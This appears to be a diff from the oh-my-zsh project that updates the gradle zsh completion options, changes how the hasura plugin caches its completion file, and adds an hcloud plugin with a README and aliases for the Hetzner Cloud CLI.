'--refresh-keys[Refreshes the public keys used for dependency verification.]' \
|
||||
'--rerun[Causes the task to be re-run even if up-to-date.]' \
|
||||
'--rerun-tasks[Ignores previously cached task results.]' \
|
||||
(--no-scan)'--scan[Generates a Build Scan (powered by Develocity).]' \
|
||||
{-V,--show-version}'[Print version info and continue.]' \
|
||||
(--full-stacktrace,-S){-s,--stacktrace}'[Prints the stacktrace for all exceptions.]' \
|
||||
'--task-graph[Prints the task graph instead of executing tasks.]' \
|
||||
\*'--update-locks[Performs a partial update of the dependency lock. Allows passed-in module notations to change version. (incubating)]' \
|
||||
(--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Sets the log level to warn.]' \
|
||||
'--warning-mode[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:warning mode:(all summary none)' \
|
||||
(--no-watch-fs)'--watch-fs[Enables file system watching. Reuses file system data for subsequent builds.]' \
|
||||
'--write-locks[Persists dependency resolution for locked configurations. Ignores existing locking information if it exists.]' \
|
||||
{-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project. Accepts a comma-separated list.]' && ret=0
|
||||
;;
|
||||
esac
|
||||
|
||||
@@ -324,76 +388,123 @@ _gradle() {
|
||||
typeset -A opt_args
|
||||
|
||||
_arguments -C \
|
||||
'(-)'{-\?,-h,--help}'[Shows a help message.]' \
|
||||
{-a,--no-rebuild}'[Do not rebuild project dependencies.]' \
|
||||
'(--no-build-cache)--build-cache[Enable the Gradle build cache.]' \
|
||||
{-b,--build-file}'[Specifies the build file.]:build script:_files -g \*.gradle' \
|
||||
{-C,--cache}'[Specifies how compiled build scripts should be cached.]:cache policy:(on rebuild)' \
|
||||
{-c,--settings-file}'[Specifies the settings file.]:settings file:_files -g \*.gradle:->argument-expected' \
|
||||
'(--no-configuration-cache)--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
|
||||
'(--configuration-cache)--no-configuration-cache[Disables the configuration cache. Gradle will not reuse the build configuration from previous builds.]' \
|
||||
'--configuration-cache-problems=[Configures how the configuration cache handles problems]:problem handling:(fail warn)' \
|
||||
'(--no-configure-on-demand)--configure-on-demand[Only relevant projects are configured in this build run.]' \
|
||||
'--console=[Specifies which type of console output to generate.]:console output type:(plain auto rich verbose)' \
|
||||
'--continue[Continues task execution after a task failure.]' \
|
||||
'-Dorg.gradle.cache.reserved.mb=[Reserve Gradle Daemon memory for operations.]' \
|
||||
'-Dorg.gradle.caching=[Set true to enable Gradle build cache.]' \
|
||||
'-Dorg.gradle.console=[Set type of console output to generate.]:console output type:(plain auto rich verbose)' \
|
||||
'-Dorg.gradle.daemon.debug=[Set true to debug Gradle Daemon.]' \
|
||||
'-Dorg.gradle.daemon.idletimeout=[Kill Gradle Daemon after # idle millis.]' \
|
||||
'-Dorg.gradle.debug=[Set true to debug Gradle Client.]' \
|
||||
'-Dorg.gradle.jvmargs=[Set JVM arguments.]' \
|
||||
'-Dorg.gradle.java.home=[Set JDK home dir.]' \
|
||||
'-Dorg.gradle.logging.level=[Set default Gradle log level.]:log level:(quiet warn lifecycle info debug)' \
|
||||
'-Dorg.gradle.parallel=[Set true to enable parallel project builds.]:(true false)' \
|
||||
'-Dorg.gradle.priority=[Set priority for Gradle worker processes.]:priority:(low normal)' \
|
||||
'-Dorg.gradle.unsafe.watch-fs=[Set true to enable Gradle file watcher.]:enable watcher:(true false)' \
|
||||
'-Dorg.gradle.warning.mode=[Set types of warnings to log.]:warning level:(all summary none)' \
|
||||
'-Dorg.gradle.workers.max=[Set the number of workers Gradle is allowed to use.]' \
|
||||
'(-i --info -w --warn -q --quiet)'{-d,--debug}'[Log in debug mode (includes normal stacktrace).]' \
|
||||
'(--no-daemon)--daemon[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
|
||||
'--foreground[Starts the Gradle daemon in the foreground.]' \
|
||||
{-g,--gradle-user-home}'[Specifies the gradle user home directory.]:home directory:_directories:->argument-expected' \
|
||||
'(-)--gui[Launches the Gradle GUI. (Removed in Gradle 4.0)]' \
|
||||
\*--include-build'[Includes the specified build in the composite.]:file:_directories:->argument-expected' \
|
||||
\*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle:->argument-expected' \
|
||||
'(-d --debug -w --warn -q --quiet)'{-i,--info}'[Set log level to info.]' \
|
||||
'--max-workers[Set the maximum number of concurrent workers that Gradle may use.]:number workers:->argument-expected' \
|
||||
{-m,--dry-run}'[Runs the builds with all task actions disabled.]' \
|
||||
'--no-color[Do not use color in the console output. (Removed in Gradle 3.0)]' \
|
||||
'(--build-cache)--no-build-cache[Do not use the Gradle build cache.]' \
|
||||
'(--configure-on-demand)--no-configure-on-demand[Disables configuration on demand.]' \
|
||||
'(--daemon)--no-daemon[Do not use the Gradle daemon to run the build.]' \
|
||||
'(--parallel)--no-parallel[Disables parallel execution to build projects.]' \
|
||||
'(--scan)--no-scan[Do not create a build scan.]' \
|
||||
'--offline[The build should operate without accessing network resources.]' \
|
||||
\*{-P+,--project-prop}'[Set project property for the build script (e.g. -Pmyprop=myvalue).]:project property (prop=val):->argument-expected' \
|
||||
{-p,--project-dir}'[Specifies the start directory for Gradle.]:start directory:_directories:->argument-expected' \
|
||||
'(--no-parallel)--parallel[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
|
||||
'--priority=[Set priority for Gradle worker processes.]:priority:(low normal)' \
|
||||
'--profile[Profiles build execution time and generates a report in the <build_dir>/reports/profile directory.]' \
|
||||
'--project-cache-dir=[Specifies the project-specific cache directory.]:cache directory:_directories:->argument-expected' \
|
||||
'(-d --debug -w --warn -i --info)'{-q,--quiet}'[Log errors only.]' \
|
||||
'--recompile-scripts[Force build script recompiling.]' \
|
||||
'--refresh[Refresh the state of resources of the type(s) specified.]:refresh policy:(dependencies)' \
|
||||
'--refresh-dependencies[Refresh the state of dependencies.]' \
|
||||
'--rerun-tasks[Ignore previously cached task results.]' \
|
||||
'(--no-scan)--scan[Create a build scan.]' \
|
||||
'(-S --full-stacktrace)'{-s,--stacktrace}'[Print out the stacktrace for all exceptions.]' \
|
||||
'(-s --stacktrace)'{-S,--full-stacktrace}'[Print out the full (very verbose) stacktrace for all exceptions.]' \
|
||||
'(-)--status[Shows status of running and recently stopped Gradle Daemons.]' \
|
||||
'(-)--stop[Stops all Gradle daemons.]' \
|
||||
'--system-prop[system property (prop=val)]' \
|
||||
'-Dcom.gradle.develocity.plugin.version=[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]:->argument-expected' \
|
||||
'-Dcom.gradle.develocity.url=[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]:->argument-expected' \
|
||||
'-Dgradle.user.home=[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle.user.home:_directories:->argument-expected' \
|
||||
'-Dorg.gradle.caching.debug=[]:->argument-expected' \
|
||||
'-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false):->argument-expected' \
|
||||
'-Dorg.gradle.configuration-cache.entries-per-key=[]:->argument-expected' \
|
||||
'-Dorg.gradle.configuration-cache.fine-grained-property-tracking=[]:->argument-expected' \
|
||||
'-Dorg.gradle.configuration-cache.heap-dump-dir=[]:org.gradle.configuration cache.heap dump dir:_directories:->argument-expected' \
|
||||
'-Dorg.gradle.configuration-cache.inputs.unsafe.ignore.file-system-checks=[]:->argument-expected' \
|
||||
'-Dorg.gradle.configuration-cache.inputs.unsafe.ignore.in-serialization=[]:->argument-expected' \
|
||||
'-Dorg.gradle.configuration-cache.integrity-check=[]:->argument-expected' \
|
||||
'-Dorg.gradle.configuration-cache.max-problems=[]:->argument-expected' \
|
||||
'-Dorg.gradle.configuration-cache.parallel=[]:->argument-expected' \
|
||||
'-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:org.gradle.configuration cache.problems:(fail warn):->argument-expected' \
|
||||
'-Dorg.gradle.configuration-cache.read-only=[]:->argument-expected' \
|
||||
'-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]:->argument-expected' \
|
||||
'-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]:->argument-expected' \
|
||||
'-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \
|
||||
'-Dorg.gradle.console.interactive=[]:->argument-expected' \
|
||||
'-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \
|
||||
'-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \
|
||||
'-Dorg.gradle.continue=[Continues task execution after a task failure.]:->argument-expected' \
|
||||
'-Dorg.gradle.continuous.quietperiod=[]:->argument-expected' \
|
||||
'-Dorg.gradle.daemon.healthcheckinterval=[]:->argument-expected' \
|
||||
'-Dorg.gradle.daemon.idletimeout=[]:->argument-expected' \
|
||||
'-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories:->argument-expected' \
|
||||
'-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]:->argument-expected' \
|
||||
'-Dorg.gradle.debug.host=[]:->argument-expected' \
|
||||
'-Dorg.gradle.debug.port=[]:->argument-expected' \
|
||||
'-Dorg.gradle.debug.server=[]:->argument-expected' \
|
||||
'-Dorg.gradle.debug.suspend=[]:->argument-expected' \
|
||||
'-Dorg.gradle.debug=[]:org.gradle.debug:(true false):->argument-expected' \
|
||||
'-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:org.gradle.dependency.verification:(strict lenient off):->argument-expected' \
|
||||
'-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories:->argument-expected' \
|
||||
'-Dorg.gradle.java.installations.auto-detect=[]:->argument-expected' \
|
||||
'-Dorg.gradle.java.installations.auto-download=[]:->argument-expected' \
|
||||
'-Dorg.gradle.java.installations.fromEnv=[]:->argument-expected' \
|
||||
'-Dorg.gradle.java.installations.idea-jdks-directory=[]:org.gradle.java.installations.idea jdks directory:_directories:->argument-expected' \
|
||||
'-Dorg.gradle.java.installations.paths=[]:org.gradle.java.installations.paths:_directories:->argument-expected' \
|
||||
'-Dorg.gradle.jvmargs=[]:->argument-expected' \
|
||||
'-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug):->argument-expected' \
|
||||
'-Dorg.gradle.logging.stacktrace=[]:->argument-expected' \
|
||||
'-Dorg.gradle.native=[]:->argument-expected' \
|
||||
'-Dorg.gradle.parallel=[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false):->argument-expected' \
|
||||
'-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:org.gradle.priority:(normal low):->argument-expected' \
|
||||
'-Dorg.gradle.problems.report=[Enables the HTML problems report.]:->argument-expected' \
|
||||
'-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \
|
||||
'-Dorg.gradle.tooling.parallel=[]:->argument-expected' \
|
||||
'-Dorg.gradle.unsafe.isolated-projects.diagnostics=[]:->argument-expected' \
|
||||
'-Dorg.gradle.unsafe.isolated-projects=[]:->argument-expected' \
|
||||
'-Dorg.gradle.vfs.verbose=[]:->argument-expected' \
|
||||
'-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false):->argument-expected' \
|
||||
'-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:->argument-expected' \
|
||||
'-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never):->argument-expected' \
|
||||
'-Dorg.gradle.workers.max=[Configures the maximum number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
|
||||
(--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
|
||||
(--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
|
||||
'--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:configuration cache problems:(fail warn):->argument-expected' \
|
||||
(--no-configure-on-demand)'--configure-on-demand[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
|
||||
'--console[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:console:(plain auto rich verbose):->argument-expected' \
|
||||
'--console-unicode[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \
|
||||
(--no-continue)'--continue[Continues task execution after a task failure.]' \
|
||||
{-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
|
||||
{-u,--no-search-upward}"[Don't search in parent folders for a settings.gradle file.]" \
|
||||
'(--write-locks)--update-locks[Perform a partial update of the dependency lock.]' \
|
||||
'(-)'{-v,--version}'[Print version info.]' \
|
||||
'(-d --debug -q --quiet -i --info)'{-w,--warn}'[Log warnings and errors only.]' \
|
||||
'--warning-mode=[Set types of warnings to log.]:warning mode:(all summary none)' \
|
||||
'(--update-locks)--write-locks[Persists dependency resolution for locked configurations.]' \
|
||||
'(--no-watch-fs)--watch-fs[Gradle watches filesystem for incremental builds.]' \
|
||||
{-x,--exclude-task}'[Specify a task to be excluded from execution.]' \
|
||||
'(-)*:: :->task-or-option' && ret=0
|
||||
(--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
|
||||
(--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Sets log level to debug. Includes the normal stacktrace.]' \
|
||||
{-F,--dependency-verification}'[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:dependency verification:(strict lenient off):->argument-expected' \
|
||||
'--develocity-plugin-version[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]:->argument-expected' \
|
||||
'--develocity-url[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]:->argument-expected' \
|
||||
{-m,--dry-run}'[Runs the build with all task actions disabled.]' \
|
||||
\*{-x,--exclude-task}'[Specifies a task to exclude from execution.]' \
|
||||
'--export-keys[Exports the public keys used for dependency verification.]' \
|
||||
'--foreground[Starts the Gradle daemon in the foreground.]' \
|
||||
(--stacktrace,-s){-S,--full-stacktrace}'[Prints the full (very verbose) stacktrace for all exceptions.]' \
|
||||
{-g,--gradle-user-home}'[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle user home:_directories:->argument-expected' \
|
||||
{-h,--help}'[Shows a help message.]' \
|
||||
\*'--include-build[Includes the specified build in the composite.]:include build:_directories:->argument-expected' \
|
||||
(--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Sets the log level to info.]' \
|
||||
\*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle(|.kts):->argument-expected' \
|
||||
'--max-workers[Configures the maximum number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
|
||||
(--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
|
||||
(--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
|
||||
(--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
|
||||
(--continue)'--no-continue[Stops task execution after a task failure.]' \
|
||||
(--daemon)'--no-daemon[Runs the build without the Gradle daemon. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
|
||||
(--parallel)'--no-parallel[Disables parallel project execution.]' \
|
||||
(--problems-report)'--no-problems-report[Disables the HTML problems report. (incubating)]' \
|
||||
{-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \
|
||||
(--scan)'--no-scan[Disables the creation of a Build Scan.]' \
|
||||
(--watch-fs)'--no-watch-fs[Disables file system watching.]' \
|
||||
'--non-interactive[Do not do interactive prompting. (incubating)]' \
|
||||
'--offline[Runs the build without accessing network resources.]' \
|
||||
(--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
|
||||
'--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:->argument-expected' \
|
||||
(--no-problems-report)'--problems-report[Enables the HTML problems report. (incubating)]' \
|
||||
'--profile[Profiles build execution time. Generates a report in the <build_dir>/reports/profile directory.]' \
|
||||
'--project-cache-dir[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:project cache dir:_directories:->argument-expected' \
|
||||
{-p,--project-dir}'[Specifies the start directory for Gradle. Default is the current directory.]:project dir:_directories:->argument-expected' \
|
||||
'--property-upgrade-report[Runs the build with the experimental property upgrade report. (incubating)]' \
|
||||
(--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Logs errors only.]' \
|
||||
{-U,--refresh-dependencies}'[Refreshes the state of dependencies.]' \
|
||||
'--refresh-keys[Refreshes the public keys used for dependency verification.]' \
|
||||
'--rerun[Causes the task to be re-run even if up-to-date.]' \
|
||||
'--rerun-tasks[Ignores previously cached task results.]' \
|
||||
(--no-scan)'--scan[Generates a Build Scan (powered by Develocity).]' \
|
||||
{-V,--show-version}'[Print version info and continue.]' \
|
||||
(--full-stacktrace,-S){-s,--stacktrace}'[Prints the stacktrace for all exceptions.]' \
|
||||
'--status[Shows the status of running and recently stopped Gradle daemons.]' \
|
||||
'--stop[Stops the Gradle daemon if it is running.]' \
|
||||
'--task-graph[Prints the task graph instead of executing tasks.]' \
|
||||
\*'--update-locks[Performs a partial update of the dependency lock. Allows passed-in module notations to change version. (incubating)]' \
|
||||
{-v,--version}'[Print version info and exit.]' \
|
||||
(--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Sets the log level to warn.]' \
|
||||
'--warning-mode[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:warning mode:(all summary none):->argument-expected' \
|
||||
(--no-watch-fs)'--watch-fs[Enables file system watching. Reuses file system data for subsequent builds.]' \
|
||||
'--write-locks[Persists dependency resolution for locked configurations. Ignores existing locking information if it exists.]' \
|
||||
{-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project. Accepts a comma-separated list.]:->argument-expected' \
|
||||
'(-)*:: :->task-or-option' && ret=0
|
||||
|
||||
if [[ $words[CURRENT] != -* && $state != "argument-expected" ]]; then
|
||||
__gradle_tasks && ret=0
|
||||
|
||||
@@ -23,7 +23,7 @@
|
||||
#
|
||||
# Enable caching:
|
||||
#
|
||||
# If you want to use the cache, set the followings in your .zshrc:
|
||||
# If you want to use the cache, set the following in your .zshrc:
|
||||
#
|
||||
# zstyle ':completion:*' use-cache yes
|
||||
#
|
||||
|
||||
@@ -9,5 +9,9 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_hasura" ]]; then
|
||||
source "$ZSH_CACHE_DIR/completions/_hasura"
|
||||
else
|
||||
source "$ZSH_CACHE_DIR/completions/_hasura"
|
||||
hasura completion zsh --file "$ZSH_CACHE_DIR/completions/_hasura" >/dev/null &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_hasura"
|
||||
zf_mv -f -- =( hasura completion zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
fi
|
||||
|
||||
143
plugins/hcloud/README.md
Normal file
143
plugins/hcloud/README.md
Normal file
@@ -0,0 +1,143 @@
|
||||
# hcloud plugin
|
||||
|
||||
This plugin adds completion for the [Hetzner Cloud CLI](https://github.com/hetznercloud/cli),
|
||||
as well as some aliases for common hcloud commands.
|
||||
|
||||
To use it, add `hcloud` to the plugins array in your zshrc file:
|
||||
|
||||
```zsh
|
||||
plugins=(... hcloud)
|
||||
```
|
||||
|
||||
## Aliases
|
||||
|
||||
| Alias | Command | Description |
|
||||
| :--------- | :---------------------------------------- | :------------------------------------------------------------ |
|
||||
| hc | `hcloud` | The hcloud command |
|
||||
| | | **Context Management** |
|
||||
| hcctx | `hcloud context` | Manage contexts |
|
||||
| hcctxls | `hcloud context list` | List all contexts |
|
||||
| hcctxu | `hcloud context use` | Use a context |
|
||||
| hcctxc | `hcloud context create` | Create a new context |
|
||||
| hcctxd | `hcloud context delete` | Delete a context |
|
||||
| hcctxa | `hcloud context active` | Show active context |
|
||||
| | | **Server Management** |
|
||||
| hcs | `hcloud server` | Manage servers |
|
||||
| hcsl | `hcloud server list` | List all servers |
|
||||
| hcsc | `hcloud server create` | Create a server |
|
||||
| hcsd | `hcloud server delete` | Delete a server |
|
||||
| hcsdesc | `hcloud server describe` | Describe a server |
|
||||
| hcspoff | `hcloud server poweroff` | Power off a server |
|
||||
| hcspon | `hcloud server poweron` | Power on a server |
|
||||
| hcsr | `hcloud server reboot` | Reboot a server |
|
||||
| hcsreset | `hcloud server reset` | Reset a server |
|
||||
| hcssh | `hcloud server ssh` | SSH into a server |
|
||||
| hcse | `hcloud server enable-rescue` | Enable rescue mode for a server |
|
||||
| hcsdr | `hcloud server disable-rescue` | Disable rescue mode for a server |
|
||||
| hcsip | `hcloud server ip` | Manage server IPs |
|
||||
| hcsa | `hcloud server attach-iso` | Attach an ISO to a server |
|
||||
| hcsda | `hcloud server detach-iso` | Detach an ISO from a server |
|
||||
| hcscip | `hcloud server change-type` | Change server type |
|
||||
| | | **Volume Management** |
|
||||
| hcv | `hcloud volume` | Manage volumes |
|
||||
| hcvl | `hcloud volume list` | List all volumes |
|
||||
| hcvc | `hcloud volume create` | Create a volume |
|
||||
| hcvd | `hcloud volume delete` | Delete a volume |
|
||||
| hcvdesc | `hcloud volume describe` | Describe a volume |
|
||||
| hcva | `hcloud volume attach` | Attach a volume to a server |
|
||||
| hcvda | `hcloud volume detach` | Detach a volume from a server |
|
||||
| hcvr | `hcloud volume resize` | Resize a volume |
|
||||
| | | **Network Management** |
|
||||
| hcn | `hcloud network` | Manage networks |
|
||||
| hcnl | `hcloud network list` | List all networks |
|
||||
| hcnc | `hcloud network create` | Create a network |
|
||||
| hcnd | `hcloud network delete` | Delete a network |
|
||||
| hcndesc | `hcloud network describe` | Describe a network |
|
||||
| hcnas | `hcloud network add-subnet` | Add a subnet to a network |
|
||||
| hcnds | `hcloud network delete-subnet` | Delete a subnet from a network |
|
||||
| hcnar | `hcloud network add-route` | Add a route to a network |
|
||||
| hcndr | `hcloud network delete-route` | Delete a route from a network |
|
||||
| | | **Floating IP Management** |
|
||||
| hcfip | `hcloud floating-ip` | Manage floating IPs |
|
||||
| hcfipl | `hcloud floating-ip list` | List all floating IPs |
|
||||
| hcfipc | `hcloud floating-ip create` | Create a floating IP |
|
||||
| hcfipd | `hcloud floating-ip delete` | Delete a floating IP |
|
||||
| hcfipdesc | `hcloud floating-ip describe` | Describe a floating IP |
|
||||
| hcfipa | `hcloud floating-ip assign` | Assign a floating IP to a server |
|
||||
| hcfipua | `hcloud floating-ip unassign` | Unassign a floating IP from a server |
|
||||
| | | **SSH Key Management** |
|
||||
| hcsk | `hcloud ssh-key` | Manage SSH keys |
|
||||
| hcskl | `hcloud ssh-key list` | List all SSH keys |
|
||||
| hcskc | `hcloud ssh-key create` | Create an SSH key |
|
||||
| hcskd | `hcloud ssh-key delete` | Delete an SSH key |
|
||||
| hcskdesc | `hcloud ssh-key describe` | Describe an SSH key |
|
||||
| hcsku | `hcloud ssh-key update` | Update an SSH key |
|
||||
| | | **Image Management** |
|
||||
| hci | `hcloud image` | Manage images |
|
||||
| hcil | `hcloud image list` | List all images |
|
||||
| hcid | `hcloud image delete` | Delete an image |
|
||||
| hcidesc | `hcloud image describe` | Describe an image |
|
||||
| hciu | `hcloud image update` | Update an image |
|
||||
| | | **Firewall Management** |
|
||||
| hcfw | `hcloud firewall` | Manage firewalls |
|
||||
| hcfwl | `hcloud firewall list` | List all firewalls |
|
||||
| hcfwc | `hcloud firewall create` | Create a firewall |
|
||||
| hcfwd | `hcloud firewall delete` | Delete a firewall |
|
||||
| hcfwdesc | `hcloud firewall describe` | Describe a firewall |
|
||||
| hcfwar | `hcloud firewall add-rule` | Add a rule to a firewall |
|
||||
| hcfwdr | `hcloud firewall delete-rule` | Delete a rule from a firewall |
|
||||
| hcfwas | `hcloud firewall apply-to-resource` | Apply a firewall to a resource |
|
||||
| hcfwrs | `hcloud firewall remove-from-resource` | Remove a firewall from a resource |
|
||||
| | | **Load Balancer Management** |
|
||||
| hclb | `hcloud load-balancer` | Manage load balancers |
|
||||
| hclbl | `hcloud load-balancer list` | List all load balancers |
|
||||
| hclbc | `hcloud load-balancer create` | Create a load balancer |
|
||||
| hclbd | `hcloud load-balancer delete` | Delete a load balancer |
|
||||
| hclbdesc | `hcloud load-balancer describe` | Describe a load balancer |
|
||||
| hclbu | `hcloud load-balancer update` | Update a load balancer |
|
||||
| hclbas | `hcloud load-balancer add-service` | Add a service to a load balancer |
|
||||
| hclbds | `hcloud load-balancer delete-service` | Delete a service from a load balancer |
|
||||
| hclbat | `hcloud load-balancer add-target` | Add a target to a load balancer |
|
||||
| hclbdt | `hcloud load-balancer delete-target` | Delete a target from a load balancer |
|
||||
| | | **Certificate Management** |
|
||||
| hccert | `hcloud certificate` | Manage certificates |
|
||||
| hccertl | `hcloud certificate list` | List all certificates |
|
||||
| hccertc | `hcloud certificate create` | Create a certificate |
|
||||
| hccertd | `hcloud certificate delete` | Delete a certificate |
|
||||
| hccertdesc | `hcloud certificate describe` | Describe a certificate |
|
||||
| hccertu | `hcloud certificate update` | Update a certificate |
|
||||
| | | **Datacenter and Location Info** |
|
||||
| hcdc | `hcloud datacenter list` | List all datacenters |
|
||||
| hcloc | `hcloud location list` | List all locations |
|
||||
| hcst | `hcloud server-type list` | List all server types |
|
||||
| hcit | `hcloud image list --type system` | List all system images |
|
||||
|
||||
## Requirements
|
||||
|
||||
This plugin requires the [Hetzner Cloud CLI](https://github.com/hetznercloud/cli) to be installed.
|
||||
|
||||
### Installation
|
||||
|
||||
Install the Hetzner Cloud CLI using one of the following methods:
|
||||
|
||||
**macOS (Homebrew):**
|
||||
```bash
|
||||
brew install hcloud
|
||||
```
|
||||
|
||||
**Linux (from source):**
|
||||
```bash
|
||||
go install github.com/hetznercloud/cli/cmd/hcloud@latest
|
||||
```
|
||||
|
||||
**Or download a prebuilt binary from the [releases page](https://github.com/hetznercloud/cli/releases).**
|
||||
|
||||
### Setup
|
||||
|
||||
After installation, create a context and authenticate:
|
||||
|
||||
```bash
|
||||
hcloud context create my-project
|
||||
```
|
||||
|
||||
You'll be prompted to enter your Hetzner Cloud API token, which you can generate in the [Hetzner Cloud Console](https://console.hetzner.cloud/).
|
||||
133
plugins/hcloud/hcloud.plugin.zsh
Normal file
133
plugins/hcloud/hcloud.plugin.zsh
Normal file
@@ -0,0 +1,133 @@
|
||||
# hcloud plugin for oh-my-zsh
|
||||
# Hetzner Cloud CLI: https://github.com/hetznercloud/cli
|
||||
|
||||
if (( ! $+commands[hcloud] )); then
|
||||
return
|
||||
fi
|
||||
|
||||
# If the completion file doesn't exist yet, we need to autoload it and
|
||||
# bind it to `hcloud`. Otherwise, compinit will have already done that.
|
||||
if [[ ! -f "$ZSH_CACHE_DIR/completions/_hcloud" ]]; then
|
||||
typeset -g -A _comps
|
||||
autoload -Uz _hcloud
|
||||
_comps[hcloud]=_hcloud
|
||||
fi
|
||||
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_hcloud"
|
||||
zf_mv -f -- =( hcloud completion zsh 2> /dev/null ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
# Main alias
|
||||
alias hc='hcloud'
|
||||
|
||||
# Context management
|
||||
alias hcctx='hcloud context'
|
||||
alias hcctxls='hcloud context list'
|
||||
alias hcctxu='hcloud context use'
|
||||
alias hcctxc='hcloud context create'
|
||||
alias hcctxd='hcloud context delete'
|
||||
alias hcctxa='hcloud context active'
|
||||
|
||||
# Server management
|
||||
alias hcs='hcloud server'
|
||||
alias hcsl='hcloud server list'
|
||||
alias hcsc='hcloud server create'
|
||||
alias hcsd='hcloud server delete'
|
||||
alias hcsdesc='hcloud server describe'
|
||||
alias hcspoff='hcloud server poweroff'
|
||||
alias hcspon='hcloud server poweron'
|
||||
alias hcsr='hcloud server reboot'
|
||||
alias hcsreset='hcloud server reset'
|
||||
alias hcssh='hcloud server ssh'
|
||||
alias hcse='hcloud server enable-rescue'
|
||||
alias hcsdr='hcloud server disable-rescue'
|
||||
alias hcsip='hcloud server ip'
|
||||
|
||||
# Server actions
|
||||
alias hcsa='hcloud server attach-iso'
|
||||
alias hcsda='hcloud server detach-iso'
|
||||
alias hcscip='hcloud server change-type'
|
||||
|
||||
# Volume management
|
||||
alias hcv='hcloud volume'
|
||||
alias hcvl='hcloud volume list'
|
||||
alias hcvc='hcloud volume create'
|
||||
alias hcvd='hcloud volume delete'
|
||||
alias hcvdesc='hcloud volume describe'
|
||||
alias hcva='hcloud volume attach'
|
||||
alias hcvda='hcloud volume detach'
|
||||
alias hcvr='hcloud volume resize'
|
||||
|
||||
# Network management
|
||||
alias hcn='hcloud network'
|
||||
alias hcnl='hcloud network list'
|
||||
alias hcnc='hcloud network create'
|
||||
alias hcnd='hcloud network delete'
|
||||
